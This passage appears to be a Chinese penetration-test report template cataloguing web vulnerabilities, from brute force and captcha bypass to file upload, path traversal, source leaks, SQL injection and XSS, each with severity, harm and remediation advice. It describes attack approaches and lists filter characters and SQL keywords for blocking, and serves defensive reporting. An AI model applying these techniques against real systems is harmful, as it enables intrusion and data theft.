暴力破解\n详情\n由于没有对登录页面进行相关的人机验证机制，如无验证码、有验证码但可重复利用以及无登录错误次数限制等，导致攻击者可通过暴力破解获取用户登录账号和密码。\n或\n在后台登录页面，登录时错误提示信息明确，因此可以判断用户名是否存在，然后针对用户名进行暴力破解。\n或\n在后台登录页面，登录时错误提示信息明确，且未对登录失败做访问控制，导致攻击者可以进行持续暴力破解登录口令。\n造成的危害\n攻击者可以针对某已知用户名进行慢速暴力破解，再进一步爆破密码,从而进入后台。\n修复建议\n增加人机验证机制。 修改错误提示信息，加强逻辑认证。 对于管理类系统配置登录用户允许的 IP 范围。 如果某个 IP 登录次数超过设置的阈值，则锁定 IP。 验证码必须在服务器端进行校验，客户端的一切校验都是不安全的。 如果用户登录次数超过设置的阈值，则锁定帐号 (有恶意登录锁定帐号的风险)。 针对登录次数进行限制，可使用登录远程 IP 或用户名两种方式进行锁定，登录错误次数 5 分钟之内超过 3 次锁定 1-3 小时。 验证码可绕过\n漏洞评级建议: 低危,若无实际利用点建议降为信息\n漏洞类型: 访问控制缺陷\n详情\n在后台登录页面，验证码只在前台 js 校验，攻击者再爆破账号时可以进行绕过。\n或\n在后台登录页面，验证码只验证一次，攻击者只需截取第一个包即可进行绕过实施账号爆破。\n造成的危害\n由于可以绕过验证码，导致攻击者对后台的爆破难度大大降低。\n修复建议\n验证码后端随机生成，且验证码内容不能出现在客户端的网页源代码以及 response 数据包中。 验证码要有背景干扰，干扰元素包括：颜色、位置、数量且元素需要随机变化。 验证码后端校验，且使用一次后即失效。 验证码在不同场景下需要与请求的参数一起提交给后端进行校验，且优先校验验证码。 短信验证码可被爆破\n漏洞评级建议: 视情况而定 4位数为高危 6位数算中危\n漏洞类型: 访问控制缺陷\n详情\n在用户注册页面，由于没有对短信验证码校验进行次数限制，导致攻击者可以通过字典爆破出验证码内容，进而登录用户账户。进行身份信息盗取等操作。\n造成的危害\n攻击者可以对短信验证码进行重复验证，爆破成功后进入后台进行操作。\n修复建议：\n添加短信验证码限制，做单次判断并放在后端进行。 同一手机号，60 秒内不能重复发送验证码校验，24 小时内总共发送不超过 5 次。 加上 IP 限制，例如某 IP 一小时内连续登录发送 3 次验证码，6 个小时内禁止该 ip 发送验证。 JWT token 固定\n漏洞评级建议: 高危\n漏洞类型: 认证缺陷\n详情\n在退出账号后，依然可以通过添加 jwt token 进行访问。即使修改密码，通过原有的 jwt token 依然可以访问jwt token 应该随时间、账号的密码进行生成，并存在存活周期。\n造成的危害\n攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。\n修复建议\nJwt token 具备存活周期，超时后自动注销。 在检测到用户账号敏感操作 (如修改密码) 后重新刷新 Jwt token。 B/S 常见漏洞 任意命令/代码执行漏洞\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n任意命令/代码执行通常因为应用在服务器上拼接系统命令而造成的漏洞。攻击者通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。\n造成的危害\n攻击者可在服务器通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。\n修复建议\n在代码级调用 shell 时，对命令行中的特殊字符（比如|、\u0026、；等）进行转义，防止执行其他非法命令。 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。 PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数。 任意文件上传漏洞\n漏洞评级建议: 高危\n漏洞类型: 文件上传\n详情\n测试过程中发现目标站点存在文件上传漏洞,应用系统在文件上传功能处对用户上传文件类型、格式、内容等做合法性校验，导致攻击者可以上传 Webshell（.php、.jsp、asp 等）恶意脚本文件或者非期望格式的文件比如：HTML 文件、SHTML 文件等，同时可利用目录跳转等字符或者控制上传目录，直接上传文件到 Web 目录或任意目录下，从而可能导致在远程服务器上执行任意恶意脚本文件，从而直接获取应用系统权限。\n造成的危害\n上传恶意脚本文件到服务器中，通过访问该恶意文件从而执行文件中的恶意代码。 攻击者可利用目录跳转上传 php、config 等文件，覆盖原有的系统文件，到达篡改系统文件、甚至获取系统权限的目的。 攻击者可上传 html、shtm 等文件，并写入非法博彩、赌博等恶意 SEO 页面或者写入恶意 js 文件进行钓鱼来非法获取用户信息等。 修复建议\n对上传文件类型进行验证，除在前端验证外在后端依然要做验证，后端可以进行扩展名检测，重命名文件，MIME类型检测以及限制上传文件的大小等限制来防御，或是将上传的文件其他文件存储服务器中。 严格限制和校验上传的文件，禁止上传恶意代码的文件。 对上传文件格式进行严格校验，防止上传恶意脚本文件。 严格限制上传的文件路径、文件内容服务端校验。文件扩展名服务端白名单校验。 隐藏上传文件路径。上传文件重命名。设置项目目录权限:可写目录不执行，执行目录不可写. 代码层面 服务端采用白名单方式校验文件后缀，不建议采用黑名单方式校验后缀，黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击。 服务端对上传文件进行重命名，防止利用目录跳转等方式控制上传目录。 服务端使用系统函数来判断文件类型及文件内容是否合法，比如 PHP 中的 getimagesize。 对上传的文件回显相对路径或者不显示路径。 其他层面 建议使用 OSS 静态存储服务器来存储用户上传的文件。 设置目录权限限制，禁止上传目录的执行权限。 保证使用的 Nginx、Apache、IIS 等容器版本不存在解析漏洞。 保证使用的第三方处理软件的版本比如 FFmpeg、ImageMagick 等不存在已知漏洞。 任意文件包含\n漏洞评级建议: 高危\n漏洞类型: 文件包含\n详情\n在通过 PHP 的 include、require 等函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露甚至恶意的代码注入，主要包括本地文件包含和远程文件包含两种形式。\n造成的危害\n攻击者利用此漏洞通过包含含有任意恶意代码的任意格式文件，比如图片文件、log 文件等，可直接获取应用系统权限，如果开启了 allow_url_fopen/allow_url_include 等配置，可直接包含远程任意格式文件。\n修复建议\n配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。 白名单：白名单限定访问文件的路径、名称及后缀名。 任意文件删除\n漏洞评级建议: 高危\n漏洞类型: 逻辑缺陷\n详情\n渗透测试过程中，发现应用程序在删除文件前，未对所要删除的文件内容、类型、文件名、文件目录做合法性校验，导致可删除服务器上任意文件，比如删除安装目录中锁文件，直接进行重装应用系统。\n造成的危害\n攻击者利用此漏洞可直接删除 web 目录甚至服务器上任意格式文件，直接导致业务系统中断、崩溃。\n修复建议\n日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。 对于后台接口，确保所有 API 接口先经过登录控制器。 在验证用户身份权限前不进行任何数据的交互。 信息泄露类 目录遍历/目录穿越\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n目录遍历/目录穿越是由于 web 服务器配置错误，或者 web 应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞，文件下载或获取文件显示内容页面由于未对传入的文件名进行过滤，利用路径回溯符../跳出程序本身的限制目录，来下载或显示任意文件。\n造成的危害\n攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件（可以使 web 根目录以外的文件），甚至执行系统命令。\n修复建议\n配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。 对传入的文件名参数进行过滤，并且判断是否是允许获取的文件类型，过滤回溯符 ../ 白名单：白名单限定访问文件的路径、名称及后缀名。 前端脱敏\n漏洞评级建议: 低危,造成影响非常严重建议中危或者高危\n漏洞类型: 信息泄露\n详情\n渗透测试过程中，发现目标多个页面传输明文的数据，在前端处理脱敏，通过抓包可以查看敏感信息。\n造成的危害\n恶意分子通过批量查询用户信息，导致用户缴费信息泄漏，后期可以对用户实施诈骗。\n修复建议\n对查询请求做好检查和限制。 查询接口传输时做好脱敏,不要在前台脱敏。 邮箱泄露\n漏洞评级建议: 低危,造成影响非常严重建议中危或者高危\n漏洞类型: 信息泄露\n详情\n渗透测试过程中，发现目标前端 JS 文件存在邮箱敏感信息泄露。 泄露信息：xxxx@\n造成的危害\n恶意攻击者可利用该邮箱信息进行用户名构造爆破、或者发送恶意邮件进行钓鱼等。\n修复建议\n不要在前端保留敏感信息。 对接口请求做好检查和限制。 任意文件读取/下载\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n在读取文件内容文件或文件下载处，未严格限制读取/下载文件的路径及文件后缀，导致可利用 ../，# 等目录操作字符进行目录穿越、截断等手段，从而读取/下载服务器上任意文件，比如配置文件等。\n造成的危害\n如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。\n修复建议\n配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。 特殊字符过滤：检查用户输入，过滤或转义含有 “../”、“..\\”、“%00”，“..”，“./”，“#” 等跳转目录或字符终止符、截断字符的输入。 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。 白名单：白名单限定访问文件的路径、名称及后缀名。 目录浏览漏洞\n漏洞评级建议: 低危,造成影响非常严重建议中危或者高危\n漏洞类型: 信息泄露\n详情\n目录浏览漏洞主要是由于配置不当，当访问到某一目录中没有索引文件时（或者手工开启了目录浏览功能）即把当前目录中的所有文件及相关下层目录一一在页面中显示出来。通过该漏洞攻击者可获得服务器上的文件目录结构，从而下载敏感文件（备份文件存放地址、数据文件、数据库文件、源代码文件等）。\n造成的危害\n攻击者通过该漏洞可以看到服务器上的文件目录结构，获取应用系统文件敏感文件，比如备份文件、数据库文件、源代码文件等，导致应用程序大量敏感信息泄漏。\n修复建议\n1. 通过修改配置文件，去除中间件（如 IIS、apache、nginx）的文件目录索引功能。 - IIS：只需要进入 IIS 管理器，选择对应的网站，然后在功能视图中的IIS项双击[目录浏览]，然后在操作的地方点击[禁用]即可。另外也可以在网站目录下找到 web.config 文件，将 \u003cdirectoryBrowse enabled=\"true\" /\u003e 中的 true 修改为false。 - Apache：在配置文件中将 Options Indexes FollowSymLinks 在 Indexes 前面加上 - 符号。即： Options -Indexes FollowSymLinks。 - Nginx：在配置文件中将 autoindex on; 去掉或者直接注释掉即可。 2. 设置文件目录的访问权限。 3. 在每个目录下创建一个空的 index.html 页面。 下面列举出禁止 Apache 显示目录索引的常见的3种方法\n修改目录配置：只需要将下面代码中的 Indexes 去掉，就可以禁止 Apache 显示该目录结构。用户就不会看到该目录下的文件和子目录列表了。 \u003cDirectory \"D:/Apache/blog.phpha.com\"\u003e Options Indexes FollowSymLinks # 修改为: Options FollowSymLinks AllowOverride None Order allow,deny Allow from all \u003c/Directory\u003e 修改 Apache 配置文件[httpd.conf] \u003cVirtualHost *\u003e \u003cDirectory \"../vhosts/blog.phpha.com\"\u003e Options -Indexes FollowSymLinks # 修改为 -Indexes 即可 \u003c/Directory\u003e ServerAdmin mail@jb51.com DocumentRoot \"../vhosts/blog.phpha.com\" ServerName shopex:80 ServerAlias blog.phpha.com ErrorLog logs/blog.phpha.com-error_log \u003c/VirtualHost\u003e 通过 .htaccess 文件:可以在根目录新建或修改 .htaccess 文件中添加 \u003cFiles *\u003e Options -Indexes \u003c/Files\u003e 测试系统环境开放\n漏洞评级建议: 中危\n漏洞类型: 访问控制缺陷\n详情\n渗透测试过程中，发现目标测试系统访问对公网开放，无任何安全认证措施。\n造成的危害\n即使是测试系统也可能会存在一定的敏感数据，而且攻击者也可能通过拿下测试系统的机器近一步的横向渗透，对整个业务系统造成极大影响。\n修复建议\n停止对外开放测试系统,并检查有无同类系统存在该问题。 应用系统在发布后应及时删除、关闭测试接口。 应用系统在发布后应及时删除、关停测试账号。 应用系统在发布后应及时删除测试文件。 应用系统在发布后应及时清除数据表中的测试数据。 某查询接口造成用户信息泄露\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n在 xxxx 页面时，经过更改的查询请求可以绕过查询限制，从而查询到任意用户的缴费数据。\n造成的危害\n恶意分子通过批量查询用户信息，导致用户 xxxx 信息泄漏，可以对用户实施钓鱼、诈骗等。甚至用于黑产。\n修复建议\n对查询请求做好检查和限制。\n配置文件泄露 \u0026 测试文件泄露\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n目标网站存在配置文件泄露问题，包含部分项目文件路径信息、配置参数信息等。\n或\n目标网站存在测试文件泄露问题，测试文件中可能包含源代码，可导致源代码泄露. 目标网站存在测试文件泄露问题，测试文件中可能包含程序的部署信息，可导致部署信息泄露. 目标网站存在测试文件泄露问题，测试文件中可能数据库或其他内网系统的连接方式，可导致数据库密码、内网地址等其他敏感信息泄露. 造成的危害\n泄露的配置文件可能会包含路径信息，甚至可能包含部分数据库配置参数。\n修复建议\n修改配置文件使目标路径不可访问。 禁止在 Web 站点的发布下放置任何测试配置文件。 禁止在正式部署环境中存在调试文件和调试信息。 开发环境与部署环境分离，不要直接在线上系统修改代码。 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 phpinfo 信息泄露\n漏洞评级建议: 信息\n漏洞类型: 信息泄露\n详情\nphpinfo 信息泄露漏洞常发生一些默认的安装包，比如 phpstudy 等，默认安装完成后，没有及时删除这些提供环境测试的文件，比较常见的为 phpinfo.php、1.php 和 test.php， 主要用于网站建设过程中测试搭建的 PHP 环境是否正确，很多网站在测试完毕后并没有及时删除，因此当访问这些测试页面时，会输出服务器的关键信息，这些信息的泄露将导致服务器被渗透的风险。\n造成的危害\nphpinfo 返回的信息中包含了服务器的配置信息，包括:\nPHP编译选项以及文件扩展名的相关信息; php 的版本信息; php 的配置信息; 数据库信息等敏感信息。 这些敏感信息会帮助攻击者展开进一步的攻击。PHP中提供了 phpinfo() 函数，该函数返回 PHP 的所有信息，包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。 修复建议\n建议移除 phpinfo 文件。\nsvn 源码泄露漏洞\n漏洞评级建议: 中危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\nSubversion，简称 SVN，是一个开放源代码的版本控制系统，相对于的 RCS、CVS，采用了分支管理系统，它的设计目标就是取代 CVS。互联网上越来越多的控制服务从 CVS 转移到 Subversion。在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码，而没有配置好目录访问权限，则会存在此漏洞。\n造成的危害\n黑客可以借助其中包含的用于版本信息追踪的‘entries’文件，逐步摸清站点结构。\"(可以利用 .svn/entries 文件，获取到服务器源码、svn 服务器账号密码等信息) 更严重的问题在于，SVN 产生的 .svn 目录下还包含了以 .svn-base 结尾的源代码文件副本 (低版本 SVN 具体路径为 text-base 目录，高版本 SVN 为 pristine 目录)，如果服务器没有对此类后缀做解析，黑客则可以直接获得文件源代码。\n修复建议\n查找服务器上所有 .svn 隐藏文件夹，删除。 开发人员在使用 SVN 时，严格使用导出功能。禁止直接复制代码。 CVS 存储库文件泄露\n漏洞评级建议: 中危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\ncvs 项目在初始化 (cvs checkout project) 的时候, 会在 project 目录下创建一个名为 CVS 的目录, 其中保存了各个文件的修改和 commit 记录. 通过此目录可以获取代码的历史版本. 其中两个关键文件为: CVS/Root 和 CVS/Entries, 分别记录了项目的根信息和所有文件的结构。\n造成的危害\n通过此目录可以获取代码的历史版本.泄露源代码。\n修复建议\n删除相应文件夹,使用其他版本控制工具.\n.git 源码泄漏\n漏洞评级建议: 中危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\n开发者在使用 git 作为版本控制时，在一个目录中初始化一个仓库以后 , 会在这个目录下产生一个名叫 .git 的隐藏文件夹，这个文件夹里面保存了这个仓库的所有版本等一系列信息。如果服务器将. git 文件夹放在了 web 目录下，就可能导致攻击者利用. git 文件夹内的信息获取应用程序所有源代码。\n造成的危害\n攻击者利用此漏洞可获取应用程序源代码，分析源码进行进一步攻击利用； 攻击者利用此漏洞可获取数据配置信息，可能直接导致应用程序用户信息泄漏，设置获取服务器权限； 修复建议\n查找服务器上所有 .git 隐藏文件夹，删除。 中间件上设置 .git 目录访问权限，禁止访问。 DS_Store 信息泄漏\n漏洞评级建议: 中危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\n苹果的操作系统会在每一个文件夹中产生这个文件记录这个文件夹中的相关信息。这一文件包含了文件夹中所有的文件名和子文件夹名。和 windows 相比，等同于 desktop.ini 和 Thumbs.db 两个文件。\n造成的危害\n攻击者利用该漏洞可能获取网站相关的文件夹和文件名； 攻击者可通过解析这一文件，可能会发现数据库备份文件、配置文件以及一些缓存文件，甚至是密钥等； 修复建议\n在不影响代码运行的情况下，删除 .DS_Store 文件。 在中间件中设置对应的文件、目录的访问权限。 .idea 信息泄漏\n漏洞评级建议: 中危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\n目标存在 idea 信息泄漏，导致网站的部分信息和绝对路径泄漏。\n造成的危害\n攻击者利用该漏洞可能获取网站相关的文件夹和文件名； 攻击者可通过解析这一文件，可能会发现数据库备份文件、配置文件以及一些缓存文件，甚至是密钥等； 修复建议\n在不影响服务运行的情况下，删除 .idea 文件夹。 在中间件中设置对应的文件、目录的访问权限。 soap 接口泄露\n漏洞评级建议: 高危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\n渗透测试过程中，发现目标存在 soap 接口泄露。\n造成的危害\n攻击者可以通过该页面，访问敏感接口、收集 API 信息，可能导致数据泄露或服务器失陷。\n修复建议\n对该页面添加权限认证，避免用户直接访问。 wadl 接口泄露\n漏洞评级建议: 高危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\n渗透测试过程中，发现目标存在 wadl 接口泄露。\n造成的危害\n攻击者可以通过该页面，访问敏感接口、收集 API 信息，可能导致数据泄露或服务器失陷。\n修复建议\n对该页面添加权限认证，避免用户直接访问。 S3Bucket 策略配置不当导致敏感信息泄漏\n漏洞评级建议: 高危,若无实际项目文件建议降为信息\n漏洞类型: 信息泄露\n详情\nAWS 中的 S3 Bucket 桶访问策略如果没有严格限制, 可能导致严重的信息泄露事件，运维人员应正确的配置 S3 访问策略，遵循最小权限原则。\n造成的危害\n攻击者利用该漏洞可能获取网站相关的文件夹和文件名；\n修复建议\n存储桶禁止开启公共访问权限(包括列出、写入、ACL 的读写等)。 敏感对象 (如 kyc 认证照片等信息) 禁止开启公共访问权限。 通过控制台定期检查是否存在公共访问的 S3 Bucket。 Swagger API 泄露\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n渗透测试过程中，扫描目标 API 端点，发现目标 swagger API 页面无需认证即可访问, 并有部分操作数据的权限且可能泄露数据信息。\n造成的危害\n攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改查数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。\n修复建议\n对该页面加上授权访问检查。 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。 对于后台接口，确保所有 API 接口先经过登录控制器。 在验证用户身份权限前不进行任何数据的交互。 metrics 泄露\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n目标端点存在调试信息泄露。\n造成的危害\n显示函数名与文件路径。 该端点数据可能揭示商业敏感信息(例如，web服务的流量)。 该端点会降低性能，为 DoS 攻击带来可能。 修复建议\n移除该端点。 将 pprof http 服务器放在本地主机上的一个单独的端口上，与应用程序 http 服务器分开。 debug 信息泄露\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n目标端点存在 debug 调试信息泄露。\n造成的危害\n显示函数名与文件路径。 该端点数据可能揭示商业敏感信息(例如，web服务的流量)。 该端点会降低性能，为 DoS 攻击带来可能。 修复建议\n移除该端点。 prometheus api 信息泄露\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\nPrometheus是一种开源的、基于指标的事件监控和警报解决方案,许多使用 Prometheus 的组织尚未启用基本身份验证，导致泄漏端点信息和标签数据。\n造成的危害\n不受信任的用户可以访问 Prometheus HTTP 端点和日志。他们可以访问数据库中包含的所有时间序列信息，以及各种操作/调试信息。 在某些情况下，端点信息会暴露软件版本和主机名，攻击者可以使用这些信息在特定服务器进行信息收集，或用于横向移动等后渗透利用技术。 修复建议\n启用 Prometheus 的基本身份验证。 不安全的输入 HTTP 参数污染漏洞\n漏洞评级建议: 中危\n漏洞类型: 不安全的输入\n详情\nHTTP 参数污染漏洞（HTTP Parameter Pollution）简称 HPP，由于 HTTP 协议允许同名参数的存在，同时，后台处理机制对同名参数的处理方式不当，造成 “参数污染”。攻击者可以利用此漏洞对网站业务造成攻击，甚至结合其他漏洞，获取服务器数据或获取服务器最高权限。\n造成的危害\nHTTP 参数污染的风险实际上取决于后端所执行的操作，以及被污染的参数提交到了哪里。\n对客户端的攻击，比如投票、跳转、关注等； 绕过安全防护软件； 修复建议\n对用户输入数据的参数的格式进行验证。 在 WAF 或其他网关设备（比如 IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。 在代码层面，编写 WEB 程序时，要通过合理的 $_GET 方法获取 URL 中的参数值，而尝试获取 web 服务器返回给程序的其他值时要慎重处理。 CRLF Injection\n漏洞评级建议: 中危\n漏洞类型: 不安全的输入\n详情\nCRLF 是回车 + 换行（\\r\\n）的简称。在 HTTP 协议中，HTTP Header 与 HTTP Body 是用两个 CRLF 分隔的，浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显示出来。所以，一旦我们能够控制 HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话 Cookie 或者 HTML 代码，所以 CRLF Injection 又叫 HTTP Response Splitting，简称 HRS。\n造成的危害\n通过在响应头中设置一个 SESSION，即可造成一个“会话固定漏洞”； 通过向响应头中注入恶意配置，即可造成一个无视浏览器 Filter 的反射型 XSS； 跳转劫持； 通过注入 html 代码可以进行钓鱼； 修复建议\n在设置 HTTP 响应头的代码中，过滤回车、换行(%0d，%0a，%0D，%0A)等字符，避免输入的数据污染到其他 HTTP 头。 对参数做合法性校验以及长度限制。 LDAP注入\n详情\n由于 Web 应用程序没有对用户发送的数据进行适当过滤和检查，攻击者可修改 LDAP 语句的结构，并且以数据库服务器、Web 服务器等的权限执行任意命令，许可权可能会允许查询、修改或除去 LDAP 树状构造内任何数据。\n造成的危害 攻击者可以在易受攻击的系统上执行任意 LDAP 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。不仅可以操作现有查询，还可以合并任意数据、使用子选择或追加附加查询。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。\n修复建议\n对用户的输入内容进行严格的过滤。 使用转义特殊字符和白名单来验证输入。 SQL 注入\n漏洞评级建议: 高危\n漏洞类型: SQL注入\n详情\nWeb 程序中对于用户提交的参数未做过滤直接拼接到 SQL 语句中执行，导致参数中的特殊字符破坏了 SQL 语句原有逻辑，攻击者可以利用该漏洞执行任意 SQL 语句，如查询数据、下载数据、写入 webshell、执行系统命令以及绕过登录限制等, SQL 注入漏洞允许攻击者通过操纵用户输入来更改后端 SQL 语句。当 web 应用程序接受直接放入 SQL 语句的用户输入，并且没有正确过滤掉危险字符时，就会发生 SQL 注入。\n造成的危害\n攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。不仅可以操作现有查询，还可以合并任意数据、使用子选择或追加附加查询。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。\n修复建议\n1. 使用预编译语句，使用 PDO 需要注意不要将变量直接拼接到 PDO 语句中。所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口，使用此接口可以非常有效的防止 SQL 注入攻击。 2. 程序代码里的所有查询语句，使用标准化的数据库查询语句 API 接口，设定语句的参数进行过滤一些非法的字符，防止用户输入恶意的字符传入到数据库中执行 sql 语句。 3. 对用户提交的的参数安全过滤，像一些特殊的字符 (，()*\u0026……%# 等等) 进行字符转义操作, 以及编码的安全转换。 4. 网站的报错信息尽量不要返回给客户端，比如一些类型错误、字段不匹配、字符错误，数据库的报错信息，尽可能的防止泄露给客户端，防止攻击者利用这些错误信息进行一些判断。 5. 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为 int 型。 6. 数据长度应该严格规定，能在一定程度上防止比较长的 SQL 注入语句无法正确执行。 7. 网站每个数据层的编码统一，建议全部使用 UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。 8. 严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。 9. 过滤危险字符，例如：采用正则表达式匹配 union、sleep、and、select、load_file 等关键字，如果匹配到则终止运行。 代码层面\n输入验证 类型判断：字符型、整型； 长度判断：设置最大长度值； 业务参数合法性判断：比如支付金额不可能为负值这种； 特殊字符过滤：比如’，\"，\\，\u003c，\u003e，\u0026，*，;，#，select，from，where，sub，if，union，sleep，and，or 等； 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头； 预编译处理 \u0026 参数化查询 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 数据库层面\n最小权限原则 遵循最小化权限原则，严格限制网站用户的数据库的操作权限，禁止将任何高权限帐户（sa，dba、root 等）用于应用程序数据库访问，从而最大限度的减少注入攻击对数据库的危害。 禁用敏感函数 比如 MSSQL 中，拒绝用户访问敏感的系统存储过程，如 xp_dirtree，xp_cmdshell 等。 权限控制 限制用户所能够访问的数据库表。 编码统一\n网站与数据层的编码统一，建议全部使用 UTF-8 编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。 XSS\n漏洞评级建议: 高危\n漏洞类型: 不安全的输入\n详情\n渗透测试过程中, 发现目标存在 XSS 漏洞, Web 程序代码中对用户提交的参数未做过滤或过滤不严，导致参数中的特殊字符破坏了 HTML 页面的原有逻辑，攻击者可以利用该漏洞执行恶意 HTML/JS 代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录，然后获取其登录凭证等。\n造成的危害\n钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼 JavaScript 以监控目标网站的表单输入，甚至发起基于 DHTML 更高级的钓鱼攻击方式。 网站挂马：跨站后利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。 身份盗用：Cookie 是用户对于特定网站的身份验证标志，XSS 可以盗取用户的 Cookie，就可以获取到用户对网站的操作权限，从而查看用户隐私信息。 垃圾信息发送：在社交网站社区中，利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。 劫持用户 Web 行为：一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为，从而监视用户的浏览历史、发送与接收的数据等等。 XSS 蠕虫：借助 XSS 蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、实施 DDoS 攻击等。 控制受害者机器向其他系统发起攻击。 修复建议 xss 漏洞本质上是一种 html 注入，也就是将 html 代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义\n1. 不信任用户提交的任何内容，对所有用户提交内容进行可靠的输入验证，包括对 URL、查询关键字、HTTP 头、REFER、POST 数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。尽量采用 POST 而非 GET 提交表单; 对 \"\u003c\"，\"\u003e\"，\";\"，\"\"\" 等字符做过滤; 任何内容输出到页面之前都必须加以 en-code，避免不小心把 htmltag 显示出来。 2. 实现 Session 标记 (session tokens)、CAPTCHA(验证码) 系统或者 HTTP 引用头检查，以防功能被第三方网站所执行，对于用户提交信息的中的 img 等 link，检查是否有重定向回本站、不是真的图片等可疑操作。 3. cookie 防盗。避免直接在 cookie 中泄露用户隐私，例如 email、密码，等等; 通过使 cookie 和系统 IP 绑定来降低 cookie 泄露后的危险。这样攻击者得到的 cookie 没有实际价值，很难拿来直接进行重放攻击。 4. 对输出到页面的数据进行相应的编码转换，如 HTML 实体编码、JS 编码等。对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行检查。 5. 确认接收的内容被妥善地规范化，仅包含最小的、安全的 Tag(没有 JavaScript)，去掉任何对远程内容的引用(尤其是样式表和 JavaScript)，使用 HTTPonly 的 cookie。 6. 不仅验证数据的类型，还要验证其格式、长度、范围和内容。不仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。 代码层面 在服务端进行输入验证（输入验证） 服务器后端进行输入验证，包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。 数据输出实体编码（输出编码） 输出编码手段主要有 3 种编码：URL 编码、HTML 编码和 JavaScript 编码。 JAVA：开源的 ESAPI 